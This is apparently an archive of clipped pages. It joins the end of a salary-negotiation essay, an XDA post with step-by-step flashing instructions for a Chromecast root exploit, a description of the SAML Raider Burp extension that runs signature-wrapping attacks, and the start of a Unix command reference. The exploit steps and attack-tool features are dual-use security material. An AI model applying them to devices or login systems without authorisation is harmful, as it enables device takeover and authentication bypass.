that investment. \(Yeah, sunk cost fallacy and all, but since people
predictably act in this fashion you should, well, predict that they will act
in this fashion.\) They really **want** to reach an agreement with you.

The second implication is that the inner serf worrying “If I even attempt to
negotiate this, the deal will fall through” is worrying for nothing. They’ve
got thousands invested in this discussion by this point. They **want** you.
The absolute worst outcome of negotiating an offer in good faith is that you
will get exactly the contents of that offer. Let me say that again for
emphasis: **negotiating never makes \(worthwhile\) offers worse**. This means
you need what political scientists call a commitment strategy: you always, as
a matter of policy, negotiate all offers. \(In this wide world I’m sure you
can find a company who still makes exploding offers, where you get one yay-or-
nay and then the offer is gone. You have a simple recourse to them: refuse
them and deal with people who are willing to be professionals. You’re not a
peasant. Don’t act like one.\)

This also means **you do not start negotiating until you already have a Yes-
If**. \(Yes-If we agree on terms.\) Do not start negotiating from No-But.
\(No-But we might hire you anyway if you’re really, really effing cheap.\) You
don’t want to work for a No-But for the same reasons that smart employers hate
hiring candidates who are a No-But \(No-But maybe if not on my team, etc\). If
they’re leaning to not hiring you, you will compromise excessively on
negotiation to get them to hire you. Compromising excessively is not the point
of the exercise. It is a seller’s market for talent right now: sell to someone
who is happy to buy.

This means that **any discussion of compensation prior to hearing Yes-If is
premature**. If you’re still at the job interview and you’re talking price
**you are doing something wrong**. \(Read the room: it is entirely possible
that you came for a job interview, finished it, and proceeded directly to a
salary negotiation. That’s probably suboptimal, but it is OK. Just don’t give
the employer the option of having the schedule be job interview, salary
negotiation, and back to job interview if they discover that you have a
spine.\) The ideal resolution to the job interview is for both sides to be
optimistic about the arrangement, and then you close with a warm handshake and
“I look forward to receiving your offer by, oh, would tomorrow be enough time
for you to run the numbers?”

You then have a high likelihood of doing your salary negotiation over email,
which is likely to your advantage versus doing it in real time. Email gives
you arbitrary time to prepare your responses. Especially for engineers, you
are likely less disadvantaged by email than you are by having an experienced
negotiator talking to you.

## The First Rule Is What Everyone Tells You It Is: Never Give A Number First

Every handbook on negotiation and every blog post will tell you not to give a
number first. This advice is almost always right. It is so right, you have to
construct crazy hypotheticals to find edge cases where it would not be right.

For example, if your previous salary was set during the dot-com bubble and you
are negotiating after the bubble popped, you might mention it to anchor your
price higher such that the step down will be less severe than it would be if
you engaged in free negotiations unencumbered by the bubbilicious history.
Does this sound vaguely disreputable to you? Good. This vaguely disreputable
abuse of history is what every employer asking for salary history, salary
range, or desired salary is doing. They are all using your previous
anomalously low salary — a salary which did not reflect your true market
worth, because you were young or inexperienced or unskilled at negotiation or
working at a different firm or in another line of work entirely — to justify
paying you an anomalously low salary in the future.

**Never give a number.**

“But Patrick,” you cry. “I don’t want to be _difficult_.” You’re not being
difficult. You’re not doing anything immoral. You’re not being unprofessional.
They’re businessmen, sometimes they don’t have all the information they would
love to have prior to making a decision. They’ll deal.

They _already_ deal with every employee that they’ve ever had who was not a
doormat at negotiations, **which includes essentially all of the employees
they really value**. Ramit Sethi \(more on him later\) introduced me to a
concept that he calls Competence Triggers: basically, if you have to judge
someone’s skill based on a series of brief interactions, you’re going to
pattern match their behavior against other people who you like. When people
with hiring authority think of winners, they think of _people like them_ who
live and breathe this business thing. They negotiate things as a matter of
course: that is a major portion of the value they bring to the company.
Volunteering a number when asked says the same thing to people with hiring
authority that flunking FizzBuzz says to an engineer: this person may be a
wonderful snowflake in other regards, but on the thing I care about, they’re
catastrophically incompetent. It will also cause them to retroactively
question competencies they’d previously credited you with.

I have literally heard that feedback, in so many words, from folks with whom
I’ve had successful business dealings. \(A funny in hindsight story: I cost
myself five figures with a single email. The particulars are boring, but
suffice it to say I fairly recently made a wet-behind-the-ears-engineer error
in quoting a client. He noticed. So did my bank statement. My bank statement
kept quiet, but the client opined that it made him think less of me until we
actually got to work together.\)

So anyhow, you may well hear reasons why you should give a number.

**Objection** : “I really need a number to move the process forward.”

**What you should think** : “You’re lying to me to attempt to get me to
compromise my negotiating position.”

**What you should say** : “I’m more concerned at the moment with talking to
you about discovering whether we’re a mutual fit. If we’re a great fit, then I
can be flexible on the numbers with you and you can be flexible on the numbers
with me. If we’re not a great fit, then the numbers are ultimately irrelevant,
because your company only hires A players and I only work at roles I would be
an A player at.”

\(Don’t talk like that normally? Fine then, talk like yourself, but say
substantially the same things. Engineers overestimate how different we really
are from business people: we say “10x engineer,” they say “A player,” but at
the end of the day we believe that there are vast differences in productivity
between workers. OK, gut check: is this something we actually believe to be
true or just something we wish for? If it is actually your best guess about
the state of reality, that has immediate news-you-can-use implications about
how you should conduct your life.\)

**Objection** : “This form needs a number.”

**What you should think** : “You’re lying to me to attempt to get me to
compromise my negotiating position.”

**What you should say** : “Give me git access and I’ll fix it in a jiffy\!
_both people laugh_ No, seriously, speaking, I’m more concerned at the moment
with discovering whether we’re a mutual fit… Oh, it’s physically impossible?
Put in $1 then to get the ball rolling, and we’ll circle back to this later.”

**Objection** : “We want to figure out whether you’re an appropriate candidate
for the position.”

**What you should think** : “You’re lying to me to attempt to get me to
compromise my negotiating position.”

**What you should say** : “It’s so important to me that this is a good mutual
fit for us. Let’s talk about why I’m a great fit for this position: I know
you’re concerned about $FILL\_IN\_THE\_BLANK. In addition to my previous
successes doing it, I have some great ideas for what I’d do about that if I
was working at your company. Would you like to drill into those or is there
another job area you’re more concerned about to start with?”

**Objection** : “I’m sorry, great try at a dodge there, but I just can’t go
forward without a number.”

**What you should think** : “You’re lying to me to attempt to get me to
compromise my negotiating position.”

**What you should say \(if you’re an engineer\): “** Well, you know, I would
hate to have to walk away from the negotiation over this. Working with your
company looked it would have been such a wonderful opportunity. I hear the
hiring market is super-tight right now, would you like me to introduce you to
other candidates? Maybe we can shave a couple of months off of you filling
this position.”

**What you should say \(if you’re not an engineer\)** : “Damn, I guess I
should have studied engineering.”

**What you should say \(if you’re a little put out by that comment\)** :
“Well, you know, salary is only one component of the total compensation
package. In terms of total compensation, we’re probably looking at something
like $FILL\_IN\_NUMBER\_HERE.” \(Suggested calculation: take the package value
from your last company and add 5~10%. If you don’t know how to calculate the
value of your compensation package, _learn that_ , but as a rough guesstimate
salary + 30 ~ 50% for full-time employees in professional roles and the
multiplier tends to scale up as your base salary scales up.\)

P.S. I double majored in making things and making things up. The joking comes
from a place of love. OK, love and schadenfreude, in solution with each other.

## Listen To What People Tell You. Repeat It Back To Them.

Properly run negotiations are not jockeying contests, they’re persuasive
exercises. \(We’ll give the company a pass on the “what’s your number?”
question because it is an established social ritual that they get one free
pass at screwing you. You still don’t have to cooperate with it, though.\) You
know what people find persuasive? Their own words. People love their own
words. When you talk to them, you should use their own words. Seriously, watch
the eyes light up.

Did the solicitation for the job say “We are seeking someone with strong
skills at scaling traffic in a fast-moving environment”? Pick out the key
words. Scaling traffic. Fast-moving environment. “Scaling traffic” doesn’t
sound like how I’d phrase it if I were writing or speaking for myself, but if
you’ve just described your need to me as scaling traffic, by golly I will tell
you how great I am at scaling traffic. Reinterpret or rephrase the \(true\!\)
bits of your own story such that it fits the narrative framework which they
have conveniently told you that they are going to respond to. Did you
previously work at a small business which was unencumbered by lots of process?
Sounds like a fast-moving environment, right? Call it _exactly_ that, then.

**Micro-tip** : Take notes during job interviews and salary negotiations. It’s
easy: go to the convenience store before the job interview, buy a writing
instrument and a $1 notebook, jot down occasional notes when appropriate.

_Can I do that?\!_ Of course you can. Do you know anyone who you’ve ever
thought “Man, I thought they were competent, but then it turned out they had a
notebook so I had to write them off?” No. Taking notes says “I’m attentive and
detail-oriented and I care about what you say.” \(Make sure you can take notes
without playing with your pen or otherwise appearing to fidget.\) In terms of
specific things that should get your pen moving, among others, I would focus
on specific words they use and concerns they have so that you can come back to
them later in the conversation. Numbers are another good thing to hit the
notebook, because numbers should only ever trend in a direction of “Better to
you,” so you don’t want to do something stupid like saying “So how many days
of vacation was that again?” and let a 24 suddenly become a 20. \(You might
think “I’m going to write down the offer so I have proof of it for later.” Get
offers written, that goes hopefully without saying, but get it written  _by
them_ and/or follow-up the discussion with an email recapping the important
points and asking if you understood them correctly. Your notes will not
convince their HR apparatus to honor the agreement in event of a retroactive
miscommunication, but an email from their decisionmaker likely will.\)

People say the damnedest things. For example, someone might spontaneously
volunteer during a job interview that they’ve been interviewing for the
position for six months. \(None of my clients would ever say that, of course,
but then again one would hope none of their consultants would chop five
figures off their own invoice with an email.\) If they say the position has
been open for six months, take a note of that. During the salary negotiation,
if they have a pricing objection, one of your first responses should be “I
appreciate that this is a little more money than you might have been thinking
about, but this is an opportunity to get this position filled without
_delaying your business by another six months_. What is the value of that six
months of execution to you?” \(Conversely, don’t say stupid things during job
interviews such as “I need this job because…” You never need a job. Being
needy means that the party who is not needy has automatic leverage over you:
your BATNA to the negotiation is very poor. Instead of being needy, aim for
“I’m enthusiastic about the opportunity with working with you, assuming we can
come to mutually satisfactory terms.”\)

**Micro-tip** : Notice how often I say “We” and variations on “mutual win.”
Those work pretty well. The only thing better than “We” is “You” \(and
variants\), because people care a heck of a lot more about their problems than
about your problems. \(This advice is stolen shamelessly from Dale Carnegie.\)
This means that a\) you should talk about their problems, concerns, and wishes
and b\) you should guard against your own natural tendency to bring up
irrelevant things like your own problems, which typically will not help you
sell the decisionmaker on adopting the mutual win you’re proposing. Similarly,
I generally try to phrase things positively rather than score debating points.
\(“You just said X, but that was contradicted by your earlier statement Y,
which means…” wins debating points but does not win friends and influence
people. You might try something like “Good good, but taking into account your
earlier concerns about Y…”\)

## Research, Research, Research

Many people will tell you that you should familiarize yourself with the
approximate salary range for the position in your region. This advice is easy
to act on \(go to a salary aggregation site, guess what “the position” is,
pray that this gives you a better number than rand\(40000,120000\)\), but it
leaves a lot to be desired. It is 2012. Facebook and LinkedIn exist. You
should, before any job interview, have intimate knowledge of the target
company. Prospective peers within the company are one obvious way to get it.
So are ex-employees, folks who’ve had dealings with them professionally, etc.
Key things you want to learn:

  * What do they value?
  * Who do they value within the company? \(Roles? Titles? Groups?\)
  * What does the career path look like for successful people within the company?
  * Roughly speaking, how generous are they with regard to axes that you care about?
  * Do they have any compensation levers which are anomalously easy to operate? \(For example, if you asked around, you might hear a few people say that a particular firm pushes back modestly on out-of-band increases in salary but they’ll give in-the-money option grants like candy.\)
  * All the fuzzy stuff: what’s the corporate culture like? Yadda yadda.

You can even bring a lot of these questions to the job interview, which is
\(again\) prior to the negotiation. \(Maybe not “So are you guys tightwads?”
but culture-esque questions like “What are the projects this company thinks
are really key to its future and how would a motivated person go about getting
on them?” are both a\) totally fair game and b\) will win you brownie points
just for asking. Similarly, a lot of employees will, out of company loyalty,
attempt to sell you on taking the job with the company by trading you very
useful information.\)

The more you know, the more options you have when doing negotiation, because
you’ll have more things and more motivational things which you can offer in
exchange for things you want. It will also help you avoid making mistakes like
e.g. getting into a rigid classification system where the classification
you’re aiming at will make forward advancement towards your goals very
difficult. \(Example: there are some companies where Product and QA are run
like separate fiefdoms which haven’t forgotten the most recent war, and in
those companies getting hired as an engineer may not be a career enhancing
move if you like making things for a living. There are other companies where
people cross-function in those responsibilities all the time and applying for
a job advertising as “Support Engineer” makes lateral moves onto customer-
facing projects trivial. You can find which one you’re applying to by taking
any engineer out for coffee.\)

## New Information Is Valuable And Can Be Traded For Things You Want

There was a post recently on Hacker News about someone’s experience with a job
offer from Google. They wanted more money. The recruiters offered to think it
over, and came back with the reply that Google’s food benefit was worth a
significant amount of money, with a calculation to back it up. That is a
pretty brilliant reply. Google’s food benefit is about as old as the company.
Approximately all people wanting to work at Google are aware of its existence.
However, the explicit calculation of what it is worth is new, so if you bring
up that calculation, by implication you’re offering newly found value to the
negotiation. This successfully convinces people that they didn’t really need
that extra money. It is so successful at this that Google recruiters
apparently have this entire interaction scripted, since multiple people report
having the exact same experience.

You should steal this tactic. You are an expert in your own skill set, life
story, and \(ideally\) value you can create for the company. However, the
person you are talking to is not. If they ever resist about something which
you want, consider reaching into the treasure chest that they are buying
mostly blind and revealing one of the many glittering jewels inside. They are
going to get them all anyhow if they buy the chest, but each one you bring out
decreases the perceived risk of buying it and therefor increases its perceived
value.

**Company** : We can’t see our way to $88,000.

**Applicant** : Well, I know you do a significant amount of business with your
online store. At my last company, I increased sales by 3% by $YADDA\_YADDA.
What would a 1% increase in sales be worth to you?

**Company** : Well, I don’t have that figure in front of me, but…

**Applicant** : Would it be safe to say “millions of dollars”?

**Company** : That sounds about right, yeah.

**Applicant** : Great, I can’t wait to get started. Getting me that extra
$4,000 would make this a much easier decision. Considering that this is
conceivably worth millions to you, we’d be silly not to do business with each
other.

**Company** : I’ll see what I can do.

**Applicant** : Let me help give you some options\! \[See below.\]

\(This hypothetical applicant is doing well on the negotiation but apparently
needs to do more research on what conversion optimization specialists can get
away with charging these days. Here, let me help: six figure salary with all
the usual perks as an employee, “senior engineer project rates” through “you
might not believe me if I told you” as a consultant.\)

Anyhow, simply by bringing attention to something which was hopefully already
in bold print on their resume, they just increased their perceived value to
the company, thus justifying the company moving a lever which \(again\) the
company isn’t really sensitive to at the end of the day.

## You Have A Multi-Dimensional Preference Set. Use It.

Don’t overly focus on your salary number. It is important \(of course\), but
there are many parts of your compensation package, and many more things that
you value. Should you and the other party reach an impasse on any part of it,
offer to table that part of the discussion \(to be returned to later\) and
bring up a different topic. You can then trade improvements for concessions
\(or apparent concessions\) on the earlier topic.

**Employer** : “We were thinking $80,000.”

**Applicant** : “$80,000 is interesting \(\*\) but not quite where we need to
be to get this done. Do you have any flexibility on that number?”

**Employer** : “I think I can convince HR to approve $84,000 but that is the
best I can do.”

**Applicant** : “I appreciate that. $84,000, huh. Well, it isn’t quite what I
had in mind, but the right package offer could make that attractive. How much
vacation comes with the package?”

**Employer** : “20 days a year.”

**Applicant** : “If you could do 24 days a year, I could compromise on
$84,000.”

**Employer** : “I think I can do that.”

For those keeping score at home: the applicant never gives up anything but the
employer will walk away feeling he got a good deal.

**\* Micro-tip** : “Interesting” is a wonderful word: it is positive and non-
commital at the same time. If they tell you a number, tell them it is an
“interesting” number, not a “wonderful” number.

Hoping around the offer also helps you defuse common negotiating tactics like
“I have to go to $EXTERNAL\_AUTHORITY to get approval of that.” \(This is in
the negotiation playbook, because it works well: it injects an automatic delay
in the process, and gives you a scapegoat for refusing a request while not
being guilty of the refusal yourself. You should strongly consider having an
$EXTERNAL\_AUTHORITY of your own. Significant others work well. Note that in
the US your would-be employer is legally prohibited from breathing about the
subject of your marital status, so something like “We’ll have to talk that
over” or “That sounds reasonable, but I’ll have to run it by the family” has
the dual virtues of being a socially acceptable reason to delay any major
decision while also being equally available to unattached young’uns. I talk
shop with my family all the time. I’ll certainly continue discussing
employment with my family after it includes my fiancee, too.\)

Anyhow, say your decisionmaker says that approving deviations from the
company’s salary structure is outside of his discretion and those evil ogres
in HR will likely deny his request. That’s fine. Express sympathy with him,
because he just said he wants to give you more but can’t, then refocus the
discussion on things which are within his personal authority. \(Vacation days,
work hours, project assignments, travel opportunities, professional
development opportunities, and the like are good areas to probe at.\) You can
then use the unspent “You wanted to do something nice for me” obligation which
he just acknowledged on one of the things which he has authority to grant you.

## For Your Further Perusal

I’m deeply indebted to a few buddies of mine, principally Thomas at Matasano
and Ramit Sethi, for teaching me to be less of a doormat in terms of
negotiation. Thomas has forgotten more than I’ll ever know about doing
negotiations with clients. Check out Hacker News search with \[tptacek
negotiation\] for some good advice, or \(if you’re in Chicago\) take him out
to coffee.

Some years after I wrote this article, Josh Doody, one of my buddies, wrote
the literal book on salary negotiation. If you learn best from books, I
recommend it. If you’d prefer more personalized advice, he has that available,
too.

Originally written: January 23, 2012

###  About the author

<img src='img/patrick-mckenzie.jpg' width='75' height='75' /> Patrick McKenzie
\(patio11\) ran four small software businesses. He writes about software,
marketing, sales, and general business topics. Opinions here are his own.

###  Older  ·  View Archive \(572\)

## Bingo Card Creator \(and etcetera\) Year In Review 2011

I’m Patrick McKenzie \(patio11 on the Internets\) and for the last several
years I’ve run a small software company. My first product was Bingo Card
Creator, my current product focus is Appointment Reminder, and I do occasional
consulting for a variety of clients, mostly on helping them sell more of their
software over the Internet.

###  Newer

## Why I Don’t Host My Own Blog Anymore

**I moved my blog over toWPEngine recently. Why? Read on.**

# \[ROOT\] HubCap Chromecast Root Release\! - XDA Forum

**Created:**| _8/24/2014 8:16:43 PM_  
---|---  
**Updated:**| _8/24/2014 8:16:43 PM_  
**Author:**| __  
**Tags:**| _Embedded Exploit_  
  

**\[ROOT\] HubCap Chromecast Root Release\!**

* * *
Dear XDA Users,  
  
We’re happy to announce that fail0verflow, GTVHacker, and Team-Eureka have
jointly discovered and exploited a new vulnerability in the Chromecast which
allows **root access on the current software build \(17977\) as well as new in
box devices** \(proof\).  
  
Requirements  

  * Chromecast Device
  * Teensy 2 or 2++
    * Teensy 2 - https://www.pjrc.com/store/teensy.html
    * Teensy 2++ - https://www.pjrc.com/store/teensypp.html
  * Teensy Loader - https://www.pjrc.com/teensy/loader.html
  * 1GB+ Flashdrive
  * The files included in the zip

  
Instructions  

  1. Install the appropriate Teensy Root Package on your device.
     * If New In Box device, use 12940 otherwise use 16664.
     * Use plusplus\_\*.hex for 2++ model, regular\_\*.hex for 2 model
  2. Using Win32DiskImager or dd, install the Flashcast Image to the 1G+ Flashdrive.  

  3. Plug in the Teensy to a USB OTG Cable, and plug it into the Chromecast while holding down the reset button.
     * The Teensy light should start flashing. If not, try the process again. After 30 seconds, it should go solid orange and the Chromecast LED sould turn white.
  4. Unplug the Teensy, then plug in the flashdrive loaded with Flashcast into the OTG cable, and then press the Chromecast button again.
     * If you used the 12940 image, the LED should turn white. If you used the 16664 image, the LED should stay dim red.
  5. After about 5 minutes, the Chromecast should reboot and your device should now be rooted\!

  
Having Problems?  

  * “I am using a USB hub with a OTG cable, why is it not working?”
    * This root method requires a powered OTG cable and will not work over a USB hub. This is because the teensy needs to be directly connected to the Chromecast to work and can not go over a USB hub.

  * “How can I tell if the root is running?”
    * If the Chromecast is plugged into a TV, you should see a Flashcast message telling you your device is being rooted. If you do not see this message, unplug the Chromecast and try again.

  
Created By  
  
@fail0verflow  
@gtvhacker  
@Dev\_Team\_Eureka  
  
Shoutouts  
  
Google Inc. - Thanks for the awesome device, now add fastboot support  
XDA-Developers - For being the home of Chromecast Development  
  
Download  
  
**Exploit Demo:** https://www.youtube.com/watch?v=S2K72qNv1\_Q  
**Download:** http://download.gtvhacker.com/file/c...ast/HubCap.zip  
  
  
Source:  
Coming Soon...

# SAML Raider - SAML2 Security Testing Burp Extension

**Created:**| _9/4/2017 9:30:57 AM_  
---|---  
**Updated:**| _9/4/2017 9:30:57 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# SAML Raider – SAML2 Security Testing Burp Extension

August 15, 2017 | 739 views __ 0
  

SAML Raider is a Burp Suite extension for SAML2 security testing, it contains
two core functionalities – Manipulating SAML Messages and managing X.509
certificates.

<img src='img/SAML-Raider-SAML2-Security-Testing-Burp-Extension-640x423.png'
width='640' height='423' alt='SAML Raider - SAML2 Security Testing Burp
Extension' />

The extension is divided into two parts, a SAML message editor and a
certificate management tool.

  

### Features

#### Message Editor

Features of the SAML Raider message editor:

  * Sign SAML Messages
  * Sign SAML Assertions
  * Remove Signatures
  * Edit SAML Message \(Supported Messages: SAMLRequest and SAMLResponse\)
  * Preview eight common XSW Attacks
  * Execute eight common XSW Attacks
  * Send certificate to SAMl Raider Certificate Management
  * Undo all changes of a SAML Message
  * Supported Profiles: SAML Webbrowser Single Sign-on Profile, Web Services Security SAML Token Profile
  * Supported Bindings: POST Binding, Redirect Binding, SOAP Binding, URI Binding

#### Certificate Management

Features of the SAML Raider Certificate Management:

  * Import X.509 certificates \(PEM and DER format\)
  * Import X.509 certificate chains
  * Export X.509 certificates \(PEM format\)
  * Delete imported X.509 certificates
  * Display informations of X.509 certificates
  * Import private keys \(PKCD\#8 in DER format and traditional RSA in PEM Format\)
  * Export private keys \(traditional RSA Key PEM Format\)
  * Cloning X.509 certificates
  * Cloning X.509 certificate chains
  * Create new X.509 certificates
  * Editing and self-sign existing X.509 certificates

You can download SAML Raider here:

saml-raider-1.2.1.jar

Or read more here.

initialinitial _j_ initial Shareinitial25

initialinitial _s_ initial Tweetinitial2

initialinitial _h_ initial +1initial4

initialinitial _f_ initial Shareinitial69

oinitialinitialShares 100

## Learn about Hacking Tools

  

  
**Posted in:** Hacking Tools, Networking Hacking  
  

__ burp

  

  *[August 15, 2017]: 2017-08-15T08:27:30+0800

# Unix Toolbox

**Created:**| _5/22/2009 3:44:42 PM_  
---|---  
**Updated:**| _5/22/2009 3:45:24 PM_  
**Author:**| __  
**Tags:**| _Unix BSD Linux commandline-kungfu_  
  

UNIX TOOLBOX

This document is a collection of Unix/Linux/BSD commands and tasks which are
useful for IT work or for advanced users. This is a practical guide with
concise explanations, however the reader is supposed to know what s/he is
doing.  
  

Unix Toolbox revision 14  
The latest version of this document can be found at
http://cb.vu/unixtoolbox.xhtml. Replace .xhtml on the link with .pdf for the
PDF version and with.book.pdf for the booklet version. On a duplex printer the
booklet will create a small book ready to bind. This XHTML page can be
converted into a nice PDF document with a CSS3 compliant application \(see the
script example\). See also the about page.  
Error reports and comments are most welcome - c@cb.vu Colin Barschel.

© Colin Barschel 2007-2009. Some rights reserved under Creative Commons.

  1. System
  2. Processes
  3. File System
  4. Network
  5. SSH SCP
  6. VPN with SSH
  7. RSYNC
  8. SUDO
  9. Encrypt Files
  10. Encrypt Partitions
  11. SSL Certificates
  12. CVS
  13. SVN
  14. Useful Commands
  15. Install Software
  16. Convert Media
  17. Printing
  18. Databases
  19. Disk Quota
  20. Shells
  21. Scripting
  22. Programming
  23. Online Help

  

white black

# SYSTEM

Hardware | Statistics | Users | Limits | Runlevels | root password | Compile kernel | Repair grub
Running kernel and system information

[code]

    # uname -a                           # Get the kernel version (and BSD version)
    # lsb_release -a                     # Full release info of any LSB distribution
    # cat /etc/SuSE-release              # Get SuSE version
    # cat /etc/debian_version            # Get Debian version
    
    
[/code]

Use /etc/`DISTR`-release with `DISTR=` lsb \(Ubuntu\), redhat, gentoo,
mandrake, sun \(Solaris\), and so on. See also `/etc/issue`.

[code]

    # uptime                             # Show how long the system has been running + load
    # hostname                           # system's host name
    # hostname -i                        # Display the IP address of the host. (Linux only)
    # man hier                           # Description of the file system hierarchy
    # last reboot                        # Show system reboot history
    
    
[/code]

## Hardware Informations

Kernel detected hardware

[code]

    # dmesg                              # Detected hardware and boot messages
    # lsdev                              # information about installed hardware
    # dd if=/dev/mem bs=1k skip=768 count=256 2>/dev/null | strings -n 8 # Read BIOS
    
    
[/code]

### Linux

[code]

    # cat /proc/cpuinfo                  # CPU model
    # cat /proc/meminfo                  # Hardware memory
    # grep MemTotal /proc/meminfo        # Display the physical memory
    # watch -n1 'cat /proc/interrupts'   # Watch changeable interrupts continuously
    # free -m                            # Used and free memory (-m for MB)
    # cat /proc/devices                  # Configured devices
    # lspci -tv                          # Show PCI devices
    # lsusb -tv                          # Show USB devices
    # lshal                              # Show a list of all devices with their properties
    # dmidecode                          # Show DMI/SMBIOS: hw info from the BIOS
    
    
[/code]

### FreeBSD

[code]

    # sysctl hw.model                    # CPU model
    # sysctl hw                          # Gives a lot of hardware information
    # sysctl vm                          # Memory usage
    # dmesg | grep "real mem"            # Hardware memory
    # sysctl -a | grep mem               # Kernel memory settings and info
    # sysctl dev                         # Configured devices
    # pciconf -l -cv                     # Show PCI devices
    # usbdevs -v                         # Show USB devices
    # atacontrol list                    # Show ATA devices
    # camcontrol devlist -v              # Show SCSI devices
    
    
[/code]

## Load, statistics and messages

The following commands are useful to find out what is going on on the system.

[code]

    # top                                # display and update the top cpu processes
    # mpstat 1                           # display processors related statistics
    # vmstat 2                           # display virtual memory statistics
    # iostat 2                           # display I/O statistics (2 s intervals)
    # systat -vmstat 1                   # BSD summary of system statistics (1 s intervals)
    # systat -tcp 1                      # BSD tcp connections (try also -ip)
    # systat -netstat 1                  # BSD active network connections
    # systat -ifstat 1                   # BSD network traffic through active interfaces
    # systat -iostat 1                   # BSD CPU and and disk throughput
    # tail -n 500 /var/log/messages      # Last 500 kernel/syslog messages
    # tail /var/log/warn                 # System warnings messages see syslog.conf
    
    
[/code]

## Users

[code]

    # id                                 # Show the active user id with login and group
    # last                               # Show last logins on the system
    # who                                # Show who is logged on the system
    # groupadd admin                     # Add group "admin" and user colin (Linux/Solaris)
    # useradd -c "Colin Barschel" -g admin -m colin
    # usermod -a -G <group> <user>       # Add existing user to group (Debian)
    # groupmod -A <user> <group>         # Add existing user to group (SuSE)
    # userdel colin                      # Delete user colin (Linux/Solaris)
    # adduser joe                        # FreeBSD add user joe (interactive)
    # rmuser joe                         # FreeBSD delete user joe (interactive)
    # pw groupadd admin                  # Use pw on FreeBSD
    # pw groupmod admin -m newmember     # Add a new member to a group
    # pw useradd colin -c "Colin Barschel" -g admin -m -s /bin/tcsh 
    # pw userdel colin; pw groupdel admin
    
    
[/code]

Encrypted passwords are stored in /etc/shadow for Linux and Solaris and
/etc/master.passwd on FreeBSD. If the master.passwd is modified manually \(say
to delete a password\), run `# pwd_mkdb -p master.passwd` to rebuild the
database.  
  
To temporarily prevent logins system wide \(for all users but root\) use
nologin. The message in nologin will be displayed \(might not work with ssh
pre-shared keys\).

[code]

    # echo "Sorry no login now" > /etc/nologin       # (Linux)
    # echo "Sorry no login now" > /var/run/nologin   # (FreeBSD)
    
    
[/code]

## Limits

Some application require higher limits on open files and sockets \(like a
proxy web server, database\). The default limits are usually too low.

### Linux

#### Per shell/script

The shell limits are governed by `ulimit`. The status is checked with `ulimit
-a`. For example to change the open files limit from 1024 to 10240 do:

[code]

    # ulimit -n 10240                    # This is only valid within the shell
    
    
[/code]

The `ulimit` command can be used in a script to change the limits for the
script only.

#### Per user/process

Login users and applications can be configured in `/etc/security/limits.conf`.
For example:

[code]

    # cat /etc/security/limits.conf
    *   hard    nproc   250              # Limit user processes
    asterisk hard nofile 409600          # Limit application open files
    
    
[/code]

#### System wide

Kernel limits are set with sysctl. Permanent limits are set in
`/etc/sysctl.conf`.

[code]

    # sysctl -a                          # View all system limits
    # sysctl fs.file-max                 # View max open files limit
    # sysctl fs.file-max=102400          # Change max open files limit
    # echo "1024 50000" > /proc/sys/net/ipv4/ip_local_port_range  # port range
    # cat /etc/sysctl.conf
    fs.file-max=102400                   # Permanent entry in sysctl.conf
    # cat /proc/sys/fs/file-nr           # How many file descriptors are in use
    
    
[/code]

### FreeBSD

#### Per shell/script

Use the command `limits` in csh or tcsh or as in Linux, use `ulimit` in an sh
or bash shell.

#### Per user/process

The default limits on login are set in `/etc/login.conf`. An unlimited value
is still limited by the system maximal value.

#### System wide

Kernel limits are also set with sysctl. Permanent limits are set in
`/etc/sysctl.conf` or `/boot/loader.conf`. The syntax is the same as Linux but
the keys are different.

[code]

    # sysctl -a                          # View all system limits
    # sysctl kern.maxfiles=XXXX          # maximum number of file descriptors
    kern.ipc.nmbclusters=32768           # Permanent entry in /etc/sysctl.conf
    kern.maxfiles=65536                  # Typical values for Squid
    kern.maxfilesperproc=32768
    kern.ipc.somaxconn=8192              # TCP queue. Better for apache/sendmail
    # sysctl kern.openfiles              # How many file descriptors are in use
    # sysctl kern.ipc.numopensockets     # How many open sockets are in use
    # sysctl -w net.inet.ip.portrange.last=50000 # Default is 1024-5000
    # netstat -m                         # network memory buffers statistics
    
    
[/code]

See The FreeBSD handbook Chapter 11 for details.

### Solaris

The following values in `/etc/system` will increase the maximum file
descriptors per proc:

[code]

    set rlim_fd_max = 4096               # Hard limit on file descriptors for a single proc
    set rlim_fd_cur = 1024               # Soft limit on file descriptors for a single proc
    
    
[/code]

## Runlevels

### Linux

Once booted, the kernel starts `init` which then starts `rc` which starts all
scripts belonging to a runlevel. The scripts are stored in /etc/init.d and are
linked into /etc/rc.d/rcN.d with N the runlevel number.  
The default runlevel is configured in /etc/inittab. It is usually 3 or 5:

[code]

    # grep default: /etc/inittab                                         
    id:3:initdefault:
    
    
[/code]

The actual runlevel can be changed with `init`. For example to go from 3 to 5:

[code]

    # init 5                             # Enters runlevel 5
    
[/code]

  * 0 Shutdown and halt
  * 1 Single-User mode \(also S\)
  * 2 Multi-user without network
  * 3 Multi-user with network
  * 5 Multi-user with X
  * 6 Reboot

Use `chkconfig` to configure the programs that will be started at boot in a
runlevel.

[code]

    # chkconfig --list                   # List all init scripts
    # chkconfig --list sshd              # Report the status of sshd
    # chkconfig sshd --level 35 on       # Configure sshd for levels 3 and 5
    # chkconfig sshd off                 # Disable sshd for all runlevels
    
    
[/code]

Debian and Debian based distributions like Ubuntu or Knoppix use the command
`update-rc.d` to manage the runlevels scripts. Default is to start in 2,3,4
and 5 and shutdown in 0,1 and 6.

[code]

    # update-rc.d sshd defaults          # Activate sshd with the default runlevels
    # update-rc.d sshd start 20 2 3 4 5 . stop 20 0 1 6 .  # With explicit arguments
    # update-rc.d -f sshd remove         # Disable sshd for all runlevels
    # shutdown -h now (or # poweroff)    # Shutdown and halt the system
    
    
[/code]

### FreeBSD

The BSD boot approach is different from the SysV, there are no runlevels. The
final boot state \(single user, with or without X\) is configured in
`/etc/ttys`. All OS scripts are located in `/etc/rc.d/` and in
`/usr/local/etc/rc.d/` for third-party applications. The activation of the
service is configured in `/etc/rc.conf`and `/etc/rc.conf.local`. The default
behavior is configured in `/etc/defaults/rc.conf`. The scripts responds at
least to start|stop|status.

[code]

    # /etc/rc.d/sshd status
    sshd is running as pid 552.
    # shutdown now                       # Go into single-user mode
    # exit                               # Go back to multi-user mode
    # shutdown -p now                    # Shutdown and halt the system
    # shutdown -r now                    # Reboot
    
    
[/code]

The process `init` can also be used to reach one of the following states
level. For example `# init 6` for reboot.

  * 0 Halt and turn the power off \(signal `USR2`\)
  * 1 Go to single-user mode \(signal `TERM`\)
  * 6 Reboot the machine \(signal `INT`\)
  * c Block further logins \(signal `TSTP`\)
